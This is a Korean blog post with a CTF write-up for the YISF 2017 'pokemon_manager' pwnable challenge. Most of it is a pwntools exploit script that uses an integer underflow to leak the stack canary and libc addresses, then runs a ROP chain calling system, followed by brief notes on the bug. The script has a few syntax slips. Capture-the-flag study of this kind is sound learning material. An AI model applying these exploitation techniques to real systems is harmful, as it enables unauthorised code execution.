ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • YISF 2017 write up
    Pwnable/CTF 2017. 8. 10. 22:58



    제 15회 YISF 문제풀이 보고서(양식).hwp


    +

    PWN YISF 200



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    from pwn import *
     
     
     
    p=remote("localhost",14902)
     
    elf = ELF("./pokemon_manager")
     
    pop_rdi = 0x401f63
     
     
     
    def trainer(name,age):
     
        print p.recvuntil('name: ')
     
        p.send(name)
     
        print p.recvuntil('age: ')
     
        p.sendline(str(age))
     
     
     
    def input_s(name,level,comment):
     
        print p.recvuntil('> ')
     
        p.send("1")
     
        print p.recvuntil('name: ')
     
        p.send(str(name))
     
        print p.recvuntil('level: ')
     
        p.send(str(level))
     
        print p.recvuntil('comment: ')
     
        p.send(comment)
     
     
     
    def output():
     
        print p.recvuntil('> ')
     
        p.sendline("2")
     
     
     
    def modify(name,level,comment):
     
        print p.recvuntil('> ')
     
        p.sendline("4")
     
        print p.recvuntil('name: ')
     
        p.send(name)
     
        print p.recvuntil('level: ')
     
        p.send(str(level))
     
        print p.recvuntil('comment: ')
     
        p.send(comment)
     
     
     
    def lost_battle():
     
        p.recvuntil('>')
     
        p.sendline("3")
     
        p.recvuntil('>')
     
        p.sendline("4")
     
        p.recvuntil('3. hyper beam')
     
        p.sendline("3"#battle lost ! level down -> -1
     
     
     
    trainer("A"*56,"-1")
     
    input_s("B","0","C"+"B")
     
    modify("A"*64,"0","C"*288+"B")
     
    lost_battle()
     
     
     
    output()
     
    p.recvuntil("C"+"B")
     
    canary = u64("\x00"+p.recv(7))
     
    print hex(canary)
     
    stack = u64(p.recv(6)+"\x00\x00")
     
    print "stack:: "+hex(stack)
     
    cmd = "cat flag 1>&4 0>&4;"
     
    payload = "C"*288 #buffer
     
    payload += "A"*16 #canary + sfp
     
    payload += "Z"*63 #ret + padding
     
    payload += "Q"
     
    modify("A"*64,"0",payload)
     
     
     
    lost_battle()
     
    output()
     
    print p.recvuntil("Z"+"Q")
     
    __libc_start_main = u64(p.recv(6)+"\x00\x00"- 240
     
    libc_base = __libc_start_main - 0x20740
     
    system = libc_base + 0x45390
     
    BinSh = system + 0x172017
     
     
     
    print hex(libc_base)
     
    print hex(system)
     
    print hex(BinSh)
     
     
     
    socat_BinSh = stack - 0x168
     
    print hex(socat_BinSh)
     
    payload = "cat flag\x00\x00\x00"
     
    payload += "Q"*(288-len(payload))
     
    payload += p64(canary)
     
    payload += "A"*8
     
    payload += p64(pop_rdi)
     
    payload += p64(stack)
     
    payload += p64(system)
     
    payload += "Q"*20+"A"*12+"cat falg 1>&4\x00"
     
     
     
    modify("A"*64,"123123",payload)
     
     
     
    p.interactive()
    cs


    다른건 다 쉬웠는데 int, int_64차이로 릭 안 되는것은 처음 봐서 라이트업을 봐버렸다.

    그냥 엄청 간단했다 ..

    대충 인티저 언더플로우 가까운 수 (0,1) 를 넣고 상대방 포켓몬한테지면 레벨이 -2 되는데 그렇게해서 언더플로우 일어나면 내가 입력한수로 언더플로우 일어난게아니기때문에 int_64로 맞춰지기때문에 0xffffffff로 되면서 버퍼가 채워진다.


    포켓몬 4번째 포켓몬에 구조체에 값을 넣는것을보면 내가 입력한 포켓몬의 능력치를 따라하고 등등 아래에서 연산하는것을 볼수있다.

    그 포켓몬과 싸우면된다.




    트레이너 포켓몬 상대 포켓몬(몬스터) 구조체를 먼저 분석하고 풀면된다.


    'Pwnable > CTF' 카테고리의 다른 글

    BCTF 2016 Bcloud  (0) 2017.08.27
    YISF 2017 본선  (0) 2017.08.13
    HITCON 2016 SleepyHolder  (0) 2017.07.13
    HITCON 2016 SecretHolder  (0) 2017.07.11
    Secuinside 2017 ohce  (0) 2017.07.03
Designed by Tistory.